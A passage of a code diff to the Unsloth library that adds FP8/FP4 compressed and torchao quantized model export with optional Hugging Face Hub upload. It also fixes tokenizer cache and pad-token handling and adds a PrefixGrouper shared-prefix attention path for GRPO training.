+        # Drop trailing separators so the sibling "<dir>-<fmt>" output is not nested inside <dir>.
+        local_dir = os.fspath(save_directory)
+        local_dir = local_dir.rstrip("/\\") or local_dir
+
+    # Wrap the body so the isolated temp dirs are always cleaned up, even when the merge,
+    # quantization, validation, or hub upload raises.
+    api = None
+    try:
+        # Validate Hub access up front (a bad token / denied repo should fail before the expensive
+        # merge and quantization, matching the normal push path). create_repo is idempotent.
+        if push_to_hub:
+            from huggingface_hub import HfApi
+            api = HfApi(token = token)
+            api.create_repo(
+                repo_id = repo_id,
+                repo_type = "model",
+                private = merge_kwargs.get("private", None),
+                exist_ok = True,
+            )
+
+        # 3) Merge to 16bit at local_dir (kept for local saves) via unsloth_generic_save, so LoRA
+        #    adapters are merged and full-finetuned models written in 16bit consistently. Extra
+        #    save kwargs (state_dict, max_shard_size, ...) flow through merge_kwargs.
+        # The intermediate 16bit checkpoint is internal staging that the converter subprocess
+        # reloads with default weight filenames, so never write variant-named shards here; the
+        # user's variant (if any) is applied to the final compressed checkpoint in the subprocess.
+        variant = merge_kwargs.pop("variant", None)
+        print(f"Unsloth: Merging to 16bit before {scheme} quantization...")
+        merge_args = dict(merge_kwargs)
+        merge_args.update(
+            dict(
+                model = model,
+                tokenizer = tokenizer,
+                save_directory = local_dir,
+                save_method = "merged_16bit",
+                push_to_hub = False,
+                token = token,
+                is_main_process = is_main_process,
+            )
+        )
+        unsloth_generic_save(**merge_args)
+
+        # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a
+        #    vision_config or an explicitly vision-named architecture; a bare
+        #    *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it
+        #    is not treated as a VLM on its own.
+        is_vlm = False
+        if hasattr(model, "config"):
+            archs = getattr(model.config, "architectures", None) or []
+            is_vlm = hasattr(model.config, "vision_config") or any(
+                x.endswith("ForVisionText2Text") for x in archs
+            )
+        if is_vlm:
+            logger.warning(
+                "Unsloth: FP8/FP4 compressed export for vision / multimodal models is "
+                "experimental; vision-tower layers may be affected."
+            )
+        # trust_remote_code must reflect the approved load decision (whether the model / tokenizer
+        # was actually loaded from custom code), not the config's static auto_map, so a
+        # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess.
+        # Model and tokenizer trust stay separate, like the torchao path: an approved custom
+        # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa).
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
+
+        # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a
+        #    str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp.
+        calib_kind, calib_value = "none", ""
+        if needs_calibration and calibration_dataset is not None:
+            if isinstance(calibration_dataset, (str, os.PathLike)):
+                calib_value = os.fspath(calibration_dataset)
+                calib_kind = "disk" if os.path.isdir(calib_value) else "hfid"
+            elif hasattr(calibration_dataset, "save_to_disk"):
+                # Only persist the samples we need, so multi-GB training sets are not fully copied.
+                ds_to_save = calibration_dataset
+                # A DatasetDict's len() is the split count, not rows; pick one split first so the
+                # row subsample below applies and we do not save every split to the temp dir.
+                try:
+                    from datasets import DatasetDict
+                    if isinstance(ds_to_save, DatasetDict):
+                        ds_to_save = ds_to_save.get("train", None) or next(
+                            iter(ds_to_save.values())
+                        )
+                except Exception:
+                    pass
+                try:
+                    if (
+                        num_calibration_samples
+                        and hasattr(ds_to_save, "select")
+                        and len(ds_to_save) > num_calibration_samples
+                    ):
+                        ds_to_save = ds_to_save.shuffle(seed = 42).select(
+                            range(num_calibration_samples)
+                        )
+                except Exception:
+                    ds_to_save = calibration_dataset
+                calib_tmp = tempfile.mkdtemp(prefix = "unsloth-calib-")
+                shutil.rmtree(calib_tmp, ignore_errors = True)  # save_to_disk wants a fresh path
+                ds_to_save.save_to_disk(calib_tmp)
+                calib_kind, calib_value = "disk", calib_tmp
+            else:
+                raise TypeError(
+                    "Unsloth: calibration_dataset must be None, a Hugging Face dataset id, a "
+                    "local path saved with Dataset.save_to_disk(...), or a Dataset with "
+                    "save_to_disk()."
+                )
+        elif not needs_calibration and calibration_dataset is not None:
+            logger.warning_once(
+                f"Unsloth: scheme '{scheme}' is data-free; ignoring calibration_dataset."
+            )
+
+        # 6) Quantize in a separate process: importing Unsloth patches transformers attention,
+        #    which breaks the forward llm-compressor runs for calibration. Run the converter by
+        #    file path (not `-m`) so the subprocess stays unpatched, like GGUF -> llama.cpp.
+        out_dir = local_dir + "-" + suffix
+        runner = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_compressed_quantize.py")
+        cmd = [
+            sys.executable,
+            runner,
+            "--model",
+            local_dir,
+            "--scheme",
+            scheme,
+            "--out",
+            out_dir,
+            "--calibration-dataset-kind",
+            calib_kind,
+            "--num-calibration-samples",
+            str(num_calibration_samples),
+            "--max-seq-length",
+            str(max_seq_length),
+        ]
+        if needs_calibration:
+            cmd.append("--needs-calibration")
+        if calib_value:
+            cmd += ["--calibration-dataset", calib_value]
+        if is_vlm:
+            cmd.append("--is-vlm")
+        if model_trust:
+            cmd.append("--trust-remote-code")
+        if tok_trust:
+            cmd.append("--trust-remote-code-tokenizer")
+        if variant:
+            cmd += ["--variant", variant]
+
+        # Free the in-memory model's CUDA memory before the subprocess loads its own copy from
+        # disk, so a single GPU need not hold both at once. Best-effort and restored in finally;
+        # skipped for quantized or multi-device models where moving is unsafe.
+        try:
+            if (
+                torch.cuda.is_available()
+                and hasattr(model, "parameters")
+                and not getattr(model, "is_loaded_in_4bit", False)
+                and not getattr(model, "is_loaded_in_8bit", False)
+                and not getattr(model, "is_quantized", False)
+            ):
+                _devs = {str(p.device) for p in model.parameters()}
+                if len(_devs) == 1 and next(iter(_devs)).startswith("cuda"):
+                    _dev = next(model.parameters()).device
+                    model.to("cpu")
+                    model_dev = _dev  # set only after a successful move, so finally can restore
+        except Exception:
+            model_dev = None
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+        # Expose the token so the subprocess can load a gated/private calibration dataset.
+        env = os.environ.copy()
+        if isinstance(token, str) and token:
+            env["HF_TOKEN"] = token
+            env["HUGGING_FACE_HUB_TOKEN"] = token
+
+        # Clean PYTHONPATH = shadow only. torch still comes from the interpreter's site-packages;
+        # transformers 5.x + llm-compressor main come from the shadow. Dropping the inherited
+        # PYTHONPATH removes any parent transformers sidecar so the shadow's is authoritative.
+        if _shadow_pythonpath is not None:
+            env["PYTHONPATH"] = _shadow_pythonpath
+
+        print(
+            f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor "
+            f"{'(llm-compressor-main shadow) ' if _shadow_pythonpath is not None else ''}"
+            "(in a separate process)..."
+        )
+        try:
+            subprocess.check_call(cmd, env = env)
+        except subprocess.CalledProcessError as e:
+            raise RuntimeError(
+                f"Unsloth: {scheme} quantization failed (llm-compressor subprocess exit "
+                f"{e.returncode}). See the output above for details."
+            )
+
+        # 7) Validate the artifact.
+        cfg_path = os.path.join(out_dir, "config.json")
+        cfg = {}
+        if os.path.exists(cfg_path):
+            with open(cfg_path, "r", encoding = "utf-8") as f:
+                cfg = json.load(f)
+        if "quantization_config" not in cfg:
+            raise RuntimeError(
+                f"Unsloth: {scheme} export failed - no quantization_config written to {cfg_path}"
+            )
+
+        # 8) Optional hub upload of the compressed artifact (not the intermediate 16bit one).
+        #    The repo was already created/validated up front, so just upload here.
+        if push_to_hub:
+            print(f"Unsloth: Uploading {scheme} checkpoint to '{repo_id}' ...")
+            api.upload_folder(
+                folder_path = out_dir,
+                repo_id = repo_id,
+                repo_type = "model",
+                commit_message = merge_kwargs.get("commit_message", None),
+                commit_description = merge_kwargs.get("commit_description", None),
+                create_pr = merge_kwargs.get("create_pr", False),
+                revision = merge_kwargs.get("revision", None),
+            )
+            # Attach datasets metadata to the pushed repo, like the normal merged push path.
+            datasets = merge_kwargs.get("datasets", None)
+            if datasets:
+                try:
+                    from huggingface_hub import metadata_update
+                    metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token)
+                except Exception as meta_err:
+                    logger.warning_once(
+                        f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}"
+                    )
+
+        # 9) Inference hardware note.
+        result = repo_id if push_to_hub else out_dir
+        _print_compressed_hw_note(scheme, result)
+        return result
+    finally:
+        if model_dev is not None:
+            try:
+                model.to(model_dev)  # restore the model to its original device
+            except Exception:
+                logger.warning_once(
+                    "Unsloth: could not restore the model to its original device after compressed "
+                    "export; it may remain on CPU."
+                )
+        if calib_tmp is not None and os.path.isdir(calib_tmp):
+            shutil.rmtree(calib_tmp, ignore_errors = True)
+        if work_tmp is not None:
+            shutil.rmtree(work_tmp, ignore_errors = True)
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+
+def _unsloth_save_torchao(
+    model,
+    save_directory: Union[str, os.PathLike],
+    tokenizer,
+    kind: str,
+    suffix: str,
+    push_to_hub: bool = False,
+    token: Optional[Union[str, bool]] = None,
+    is_main_process: bool = True,
+    **merge_kwargs,
+):
+    """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed).
+
+    Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via
+    `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA.
+    `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors).
+    """
+    import tempfile
+
+    if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
+        tokenizer = patch_saving_functions(tokenizer)
+    if token is None:
+        token = get_token()
+
+    # Only the main process merges, quantizes, and uploads; other ranks return at once.
+    if not is_main_process:
+        return None
+
+    from transformers import (
+        AutoModelForCausalLM,
+        AutoTokenizer,
+        AutoProcessor,
+        TorchAoConfig,
+    )
+    from torchao.quantization import Float8WeightOnlyConfig, Int8WeightOnlyConfig
+
+    if kind == "fp8":
+        quant_type = Float8WeightOnlyConfig()
+        safe_serialization = True
+    elif kind == "int8":
+        quant_type = Int8WeightOnlyConfig()
+        safe_serialization = False  # torchao only supports safetensors for float8 configs
+    else:
+        raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).")
+
+    # Always merge into an isolated temp staging dir (never save_directory itself), so a co-selected
+    # 16-bit export written to save_directory is not overwritten or deleted; the torchao output is
+    # the sibling "<save_directory>-<suffix>" (or the repo id on a hub push).
+    repo_id, work_tmp, model_dev = None, None, None
+    work_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-")
+    if push_to_hub:
+        repo_id = os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model")
+        out_dir = staging + "-" + suffix
+    else:
+        base = os.fspath(save_directory).rstrip("/\\") or os.fspath(save_directory)
+        staging = os.path.join(work_tmp, os.path.basename(base) or "model")
+        out_dir = base + "-" + suffix
+
+    api = None
+    try:
+        if push_to_hub:
+            from huggingface_hub import HfApi
+            api = HfApi(token = token)
+            api.create_repo(
+                repo_id = repo_id,
+                repo_type = "model",
+                private = merge_kwargs.get("private", None),
+                exist_ok = True,
+            )
+
+        # 1) Merge to 16bit at a staging dir (LoRA and base alike). The reload reads default
+        #    weight filenames, so never write variant-named shards here.
+        merge_kwargs.pop("variant", None)
+        print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...")
+        merge_args = dict(merge_kwargs)
+        merge_args.update(
+            dict(
+                model = model,
+                tokenizer = tokenizer,
+                save_directory = staging,
+                save_method = "merged_16bit",
+                push_to_hub = False,
+                token = token,
+                is_main_process = is_main_process,
+            )
+        )
+        unsloth_generic_save(**merge_args)
+
+        # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq
+        #    (T5/BART/Whisper), so key off vision_config / a vision-named architecture only.
+        is_vlm = False
+        if hasattr(model, "config"):
+            archs = getattr(model.config, "architectures", None) or []
+            is_vlm = hasattr(model.config, "vision_config") or any(
+                x.endswith("ForVisionText2Text") for x in archs
+            )
+        # trust_remote_code must reflect the approved load decision - whether the in-memory model /
+        # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an
+        # attacker can set on a built-in-loadable model to run unvetted code past the consent gate.
+        model_trust = _loaded_via_remote_code(model)
+        tok_trust = _loaded_via_remote_code(tokenizer)
+        # Reload with the class that matches the checkpoint: an image-text VLM class (with a
+        # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own
+        # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and
+        # AutoModelForCausalLM would fail to load them); otherwise causal-LM.
+        if is_vlm:
+            try:
+                from transformers import AutoModelForImageTextToText as _reload_model
+            except ImportError:
+                from transformers import AutoModelForVision2Seq as _reload_model
+            auto_model = _reload_model
+        elif getattr(getattr(model, "config", None), "is_encoder_decoder", False):
+            import transformers as _tf
+            auto_model = next(
+                (
+                    getattr(_tf, _arch)
+                    for _arch in (getattr(model.config, "architectures", None) or [])
+                    if getattr(_tf, _arch, None) is not None
+                ),
+                AutoModelForCausalLM,
+            )
+        else:
+            auto_model = AutoModelForCausalLM
+        auto_processor = AutoProcessor if is_vlm else AutoTokenizer
+
+        # 3) Free the in-memory model's accelerator memory before reloading a fresh copy from disk.
+        #    Covers CUDA and XPU (torchao runs on Intel GPUs too), so the original doesn't sit
+        #    resident alongside the reloaded copy and OOM a device that fit the model once.
+        _has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available()
+        try:
+            if (
+                (torch.cuda.is_available() or _has_xpu)
+                and hasattr(model, "parameters")
+                and not getattr(model, "is_loaded_in_4bit", False)
+                and not getattr(model, "is_loaded_in_8bit", False)
+                and not getattr(model, "is_quantized", False)
+            ):
+                _devs = {str(p.device) for p in model.parameters()}
+                if len(_devs) == 1 and next(iter(_devs)).startswith(("cuda", "xpu")):
+                    _dev = next(model.parameters()).device
+                    model.to("cpu")
+                    model_dev = _dev
+        except Exception:
+            model_dev = None
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+            if _has_xpu:
+                torch.xpu.empty_cache()
+
+        # 4) Reload the staged 16bit checkpoint with torchao applied. bfloat16 is required;
+        #    device_map="auto" falls back to CPU, so this works on any hardware.
+        print(f"Unsloth: Quantizing the merged model to torchao {kind}...")
+        dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16}
+        quantized_model = auto_model.from_pretrained(
+            staging,
+            device_map = "auto",
+            quantization_config = TorchAoConfig(quant_type = quant_type),
+            trust_remote_code = model_trust,
+            **dtype_kw,
+        )
+        staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust)
+
+        quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization)
+        staged_tokenizer.save_pretrained(out_dir)
+        del quantized_model
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+        # 5) Validate the artifact.
+        cfg_path = os.path.join(out_dir, "config.json")
+        cfg = {}
+        if os.path.exists(cfg_path):
+            with open(cfg_path, "r", encoding = "utf-8") as f:
+                cfg = json.load(f)
+        if "quantization_config" not in cfg:
+            raise RuntimeError(
+                f"Unsloth: torchao {kind} export failed - no quantization_config written to "
+                f"{cfg_path}"
+            )
+
+        # 6) Optional hub upload of the quantized artifact (the temp staging is cleaned in finally).
+        if push_to_hub:
+            print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...")
+            api.upload_folder(
+                folder_path = out_dir,
+                repo_id = repo_id,
+                repo_type = "model",
+                commit_message = merge_kwargs.get("commit_message", None),
+                commit_description = merge_kwargs.get("commit_description", None),
+                create_pr = merge_kwargs.get("create_pr", False),
+                revision = merge_kwargs.get("revision", None),
+            )
+            datasets = merge_kwargs.get("datasets", None)
+            if datasets:
+                try:
+                    from huggingface_hub import metadata_update
+                    metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token)
+                except Exception as meta_err:
+                    logger.warning_once(
+                        f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}"
+                    )
+
+        result = repo_id if push_to_hub else out_dir
+        print(
+            f"Unsloth: Saved torchao {kind} checkpoint to '{result}'.\n"
+            f"Unsloth: This is portable (produced on any device, no NVIDIA GPU required). Load it "
+            f"with vLLM or transformers; FP8/INT8 acceleration is available on supported GPUs."
+        )
+        return result
+    finally:
+        if model_dev is not None:
+            try:
+                model.to(model_dev)
+            except Exception:
+                logger.warning_once(
+                    "Unsloth: could not restore the model to its original device after torchao "
+                    "export; it may remain on CPU."
+                )
+        if work_tmp is not None:
+            shutil.rmtree(work_tmp, ignore_errors = True)
+        for _ in range(3):
+            gc.collect()
+            if torch.cuda.is_available():
+                torch.cuda.empty_cache()
+
+
 def unsloth_save_pretrained_torchao(
     self,
     save_directory: Union[str, os.PathLike],
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index f454d5c504..3a91ef188d 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -563,8 +563,11 @@ def _load_correct_tokenizer(
         # /tmp of Kaggle seems has a 80GB limit!
         # Let's utilize them
         cache_dir = os.path.join(KAGGLE_TMP, cache_dir)
-    else:
+    elif cache_dir == "huggingface_tokenizers_cache":
+        # This default name is Colab/Kaggle-only; elsewhere use the HF default cache.
         cache_dir = None
+    # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead
+    # of risking an in-process Hub/Xet transfer.
 
     # Try loading the slow tokenizer. If it fails, then try Fast only
     # Mainly to solve Deepseek models with no tokenizer.model file
@@ -601,7 +604,7 @@ def _load_correct_tokenizer(
         cache_dir = cache_dir,
     )
 
-    if not fix_tokenizer or tokenizer_name in IGNORED_TOKENIZER_NAMES:
+    if not fix_tokenizer or tokenizer_name.lower() in IGNORED_TOKENIZER_NAMES:
         return fast_tokenizer
     # Ignore Mistral ones - they're a bit weird to handle!
     elif "mistral" in tokenizer_name.lower():
@@ -626,6 +629,26 @@ def _load_correct_tokenizer(
         return fast_tokenizer
 
 
+def _fix_pad_token(tokenizer):
+    """Heal a bad/missing pad_token before chat-template repair.
+
+    Delegates to unsloth_zoo's shared fix_pad_token (single source of truth); against
+    an older unsloth_zoo without it, this is a no-op (a pad-named token like
+    <|vision_pad|> is already a valid pad). allow_add=False keeps this side-effect
+    free: there is no model here to resize embeddings, so a brand new pad token is
+    never added - the later model-aware patch_tokenizer call finishes the job and is
+    idempotent.
+    """
+    if tokenizer is None:
+        return tokenizer
+    try:
+        from unsloth_zoo.pad_token import fix_pad_token
+    except Exception:
+        return tokenizer
+    fix_pad_token(tokenizer, allow_add = False)
+    return tokenizer
+
+
 def load_correct_tokenizer(
     tokenizer_name,
     model_max_length = None,
@@ -645,6 +668,9 @@ def load_correct_tokenizer(
         fix_tokenizer = fix_tokenizer,
     )
 
+    if fix_tokenizer:
+        _fix_pad_token(tokenizer)
+
     ### 1. Fixup tokenizer's chat_template
     old_chat_template = getattr(tokenizer, "chat_template", None)
 
@@ -1300,6 +1326,7 @@ def check_tokenizer(
     padding_side = "right",
     token = None,
     _reload = True,
+    cache_dir = None,
 ):
     # Checks tokenizer for out of bounds ids.
     # Mainly a fix for https://huggingface.co/berkeley-nest/Starling-LM-7B-alpha
@@ -1390,10 +1417,11 @@ def check_tokenizer(
                     f"Fix your tokenizer since it'll perform out of bounds memory accesses."
                 )
 
-            if IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT:
-                cache_dir = "huggingface_tokenizers_cache"
-            else:
-                cache_dir = None
+            # Reuse a caller-supplied cache_dir (warmed cache) for the repair reload; else the
+            # Colab/Kaggle sentinel (HF default elsewhere), as load_correct_tokenizer does.
+            reload_cache_dir = cache_dir
+            if reload_cache_dir is None and (IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT):
+                reload_cache_dir = "huggingface_tokenizers_cache"
 
             # Sometimes slow tokenizer does not work like Deepseek
             try:
@@ -1407,7 +1435,7 @@ def check_tokenizer(
                     use_fast = False,
                     legacy = False,
                     from_slow = True,
-                    cache_dir = cache_dir,
+                    cache_dir = reload_cache_dir,
                 )
                 return check_tokenizer(
                     model = model,
@@ -1417,6 +1445,7 @@ def check_tokenizer(
                     padding_side = padding_side,
                     token = token,
                     _reload = False,
+                    cache_dir = cache_dir,
                 )
                 break
             except:
diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.py
index 3ff581b7fc..68fb33dad9 100644
--- a/unsloth/utils/attention_dispatch.py
+++ b/unsloth/utils/attention_dispatch.py
@@ -17,6 +17,7 @@
 
 from __future__ import annotations
 
+import os
 from dataclasses import dataclass
 from typing import Any, Optional, Tuple
 
@@ -42,6 +43,17 @@ if HAS_XFORMERS and torch.cuda.is_available():
         HAS_XFORMERS = False
 SDPA_HAS_GQA = "enable_gqa" in (scaled_dot_product_attention.__doc__ or "")
 
+# PrefixGrouper kernel, resolved once when the env gate is on so PG-off users never load
+# torch flex_attention.
+_flex_shared_prefix_attention = None
+if os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in ("0", "false", "no", "off"):
+    try:
+        from .prefix_grouper_kernel import (
+            flex_shared_prefix_attention as _flex_shared_prefix_attention,
+        )
+    except Exception:
+        _flex_shared_prefix_attention = None
+
 FLASH_VARLEN = "flash_varlen"
 FLASH_DENSE = "flash_dense"
 XFORMERS = "xformers"
@@ -84,6 +96,9 @@ class AttentionContext:
     attention_mask: Optional[Tensor]
     causal_mask: Optional[Any]
     sliding_window: Optional[int] = None
+    # PrefixGrouper: non-None routes Q/K/V through the FlexAttention shared-prefix kernel;
+    # None leaves every existing construction/behavior unchanged.
+    prefix_seg_info: Optional[Any] = None
 
 
 def select_attention_backend(use_varlen: bool = False) -> str:
@@ -99,6 +114,33 @@ def select_attention_backend(use_varlen: bool = False) -> str:
     return SDPA
 
 
+def resolve_prefix_seg_info(kwargs, past_key_value, attention_mask):
+    """PrefixGrouper shared-prefix segment table resolver for the arch attention forwards.
+
+    The GRPO PrefixGrouper packed path rides a ``PrefixSegInfo`` in through ``**kwargs``
+    (same route as ``packed_seq_lengths``). When present, the forward must route Q/K/V
+    through the FlexAttention shared-prefix kernel via ``AttentionContext.prefix_seg_info``.
+
+    Returns the seg table (or ``None`` when PrefixGrouper did not group this batch -- the
+    unchanged path). Hardened: the shared-prefix stream is NOT a plain causal sequence, so running
+    it under a KV cache or an explicit padding mask would silently produce wrong logprobs.
+    That combination can only arise from misuse (PrefixGrouper only rides in via the GRPO
+    logprob forward, which is mask-free prefill), so we RAISE loudly instead of degrading
+    to a wrong result.
+
+    Factored here so every arch (llama/mistral/qwen3/gemma2/cohere/granite/falcon_h1)
+    shares one implementation and cannot drift.
+    """
+    seg = kwargs.get("prefix_seg_info", None)
+    if seg is not None and (past_key_value is not None or attention_mask is not None):
+        raise RuntimeError(
+            "PrefixGrouper: prefix_seg_info requires prefill with no KV cache and no "
+            f"attention_mask (got past_key_value={past_key_value is not None}, "
+            f"attention_mask={attention_mask is not None})."
+        )
+    return seg
+
+
 def run_attention(
     *, config: AttentionConfig, context: AttentionContext, Q: Tensor, K: Tensor, V: Tensor
 ) -> Tensor:
@@ -111,6 +153,28 @@ def run_attention(
     and SDPA handle packing via a block-diagonal mask.
     """
 
+    # PrefixGrouper shared-prefix attention (GRPO dedup). Q/K/V here are [bsz, H, T, D];
+    # the kernel takes/returns [1, T, H, D], matching the other backends. The field is
+    # only set when the env gate is on and grouping succeeded; None keeps every backend
+    # byte-identical.
+    if context.prefix_seg_info is not None:
+        flex_shared_prefix_attention = _flex_shared_prefix_attention
+        if flex_shared_prefix_attention is None:
+            # gate flipped on after import (or one-time load failed): resolve lazily.
+            from ..utils.prefix_grouper_kernel import flex_shared_prefix_attention
+
+        scale = None
+        if config.flash_varlen_kwargs:
+            scale = config.flash_varlen_kwargs.get("softmax_scale")
+        A = flex_shared_prefix_attention(
+            Q.transpose(1, 2),
+            K.transpose(1, 2),
+            V.transpose(1, 2),
+            context.prefix_seg_info,
+            scale = scale,
+        )
+        return A  # [1, T, n_heads, head_dim]
+
     backend = config.backend
     if backend == FLASH_VARLEN and context.seq_info is None:
         backend = FLASH_DENSE if HAS_FLASH_ATTENTION else SDPA
@@ -137,6 +201,25 @@ def run_attention(
     requires_grad = context.requires_grad
     sliding_window = context.sliding_window
 
+    # DoRA promotes q/k/v_proj outputs to fp32, which FlashAttention rejects, so
+    # downcast any fp32 Q/K/V to a flash-supported dtype (#1013).
+    if backend in (FLASH_DENSE, FLASH_VARLEN) and torch.float32 in (
+        Q.dtype,
+        K.dtype,
+        V.dtype,
+    ):
+        # Prefer the autocast dtype, else a non-fp32 input's dtype, then clamp.
+        if torch.is_autocast_enabled():
+            try:
+                flash_dtype = torch.get_autocast_dtype("cuda")
+            except (AttributeError, TypeError):
+                flash_dtype = torch.get_autocast_gpu_dtype()
+        else:
+            flash_dtype = next((d for d in (Q.dtype, K.dtype, V.dtype) if d != torch.float32), None)
+        if flash_dtype not in (torch.float16, torch.bfloat16):
+            flash_dtype = torch.bfloat16 if SUPPORTS_BFLOAT16 else torch.float16
+        Q, K, V = Q.to(flash_dtype), K.to(flash_dtype), V.to(flash_dtype)
+
     if backend == FLASH_VARLEN:
         Q_f = Q.transpose(1, 2).reshape(bsz * q_len, n_heads, head_dim)
         K_f = K.transpose(1, 2).reshape(bsz * q_len, config.n_kv_heads, head_dim)
@@ -318,5 +401,6 @@ __all__ = [
     "AttentionConfig",
     "AttentionContext",
     "select_attention_backend",
+    "resolve_prefix_seg_info",
     "run_attention",
 ]
diff --git a/unsloth/utils/prefix_grouper.py b/unsloth/utils/prefix_grouper.py
new file mode 100644
index 0000000000..4e6ff9672c
--- /dev/null
+++ b/unsloth/utils/prefix_grouper.py
@@ -0,0 +1,351 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""PrefixGrouper layout builder + completion-logprob extraction for the Unsloth GRPO
+packed path (all archs that route through the varlen attention dispatch).
+
+Given the de-padded, LEFT-PACKED input_ids the packed GRPO path already works with, this
+module:
+
+  1. Detects consecutive ``num_generations`` rows that share a prompt prefix (byte-
+     identical prompt precondition; falls back / returns None otherwise).
+  2. Builds ONE flat shared-prefix stream across all groups
+     ``[ prefix_g0, suf_g0_0 .. suf_g0_{G-1}, prefix_g1, ... ]`` with position_ids that
+     continue each prefix positionally, plus a ``PrefixSegInfo`` segment table for the
+     FlexAttention shared-prefix kernel.
+  3. Extracts completion logprobs via the index map (completion pos ``j==0`` predicted
+     from the shared prefix's last token; ``j>=1`` from the preceding suffix token) and
+     scatters them back into ``[total_rows, W]`` EXACTLY where the full-row packed path
+     puts them (dest = ``orig_row*L + orig_col``), so grpo_compute_loss / completion_mask
+     / TIS / metrics are byte-untouched.
+
+The flat stream is built by GATHERING original (row, col) coordinates out of input_ids,
+so the grad path's autograd flows to the same embedding rows as today (the shared prefix
+now contributes grad once = the sum of the G repeats, which is mathematically identical).
+
+``chunked_hidden_states_selective_log_softmax`` (from unsloth_zoo, passed in) is reused
+verbatim over the gathered predicting-position hidden states, so fp32 accumulation,
+logit_scale/softcapping/temperature are all preserved.
+
+Env:
+  UNSLOTH_GRPO_PREFIX_GROUPER=1            engage (default ON; set 0 to disable). Auto-off under vLLM.
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOKR=1.3     tok_r auto-gate threshold (env-overridable)
+  UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY=1     first-step self-verify (default ON)
+  UNSLOTH_GRPO_PREFIX_GROUPER_TOL=0.7      self-verify PASS band (nats)
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import List, Optional, Tuple
+
+import torch
+
+from .prefix_grouper_kernel import build_seg_info_multigroup, PrefixSegInfo
+
+
+# ---------------------------------------------------------------------------
+# Env helpers
+# ---------------------------------------------------------------------------
+def env_on(name: str, default: str = "0") -> bool:
+    return os.environ.get(name, default).lower() not in ("0", "false", "no", "off")
+
+
+# One-time env reads; the helpers stay callable since unsloth_zoo imports and calls them.
+_ENABLED = env_on("UNSLOTH_GRPO_SEQ_PACKING", "1") and env_on("UNSLOTH_GRPO_PREFIX_GROUPER", "1")
+_VERIFY_ON = env_on("UNSLOTH_GRPO_PREFIX_GROUPER_VERIFY", "1")
+_TOKR_THRESHOLD = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOKR", "1.3"))
+_TOL_OK = float(os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER_TOL", "0.7"))
+
+
+def prefix_grouper_enabled() -> bool:
+    """PrefixGrouper requires seq-packing on (it reuses its de-pad + scatter machinery)."""
+    return _ENABLED
+
+
+def verify_on() -> bool:
+    return _VERIFY_ON
+
+
+def tokr_threshold() -> float:
+    return _TOKR_THRESHOLD
+
+
+def tol_ok() -> float:
+    return _TOL_OK
+
+
+# diff >= TOL_KILL = broken mask/isolation -> structure permanently unsafe; between
+# tol_ok and TOL_KILL -> fall back for this shape but keep trying others.
+TOL_KILL = 1.5
+
+
+@dataclass
+class GroupLayout:
+    """Everything the GRPO forward needs to run + extract the shared-prefix path."""
+
